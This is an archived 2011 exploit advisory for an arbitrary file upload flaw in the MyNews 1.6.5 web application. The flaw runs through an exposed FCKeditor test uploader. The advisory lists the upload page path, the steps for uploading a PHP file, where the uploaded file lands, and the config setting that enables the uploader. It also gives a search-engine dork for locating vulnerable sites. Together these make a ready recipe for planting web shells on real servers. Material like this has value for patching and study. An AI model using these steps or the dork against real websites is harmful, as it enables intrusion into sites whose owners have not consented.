MyNews 1.6.5 Shell Upload

2011.07.23
Credit: NoGe
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

============================================================================================ [o] MyNews Abritary File Upload Vulnerability Software : MyNews 1.6.5 Vendor : http://www.planetluc.com/ Author : NoGe Contact : noge[dot]code[at]gmail[dot]com Home : http://evilc0de.blogspot.com/ ============================================================================================ [o] Exploit http://localhost/[path]/FCKeditor/editor/filemanager/upload/test.html in the "File Uploader" section, select "PHP" browse and select file to upload, click "Send it to the Server" if the file uploaded with no error, u will see the file path in "Uploaded File URL" ussualy u'r file will be uploaded in this path "/files/your_file.txt" http://localhost/[path]/files/your_file.txt FCKeditor/editor/filemanager/upload/php/config.php // SECURITY: You must explicitelly enable this "uploader". $Config['Enabled'] = true ; [o] Dork "Powered by MyNews" ============================================================================================ [o] Greetz Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory aJe matthews wishnusakti kaka11 inc0mp13te martfella pizzyroot Genex H312Y }^-^{ noname tukulesto ============================================================================================ [o] July 22 2011 - Papua, Indonesia


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top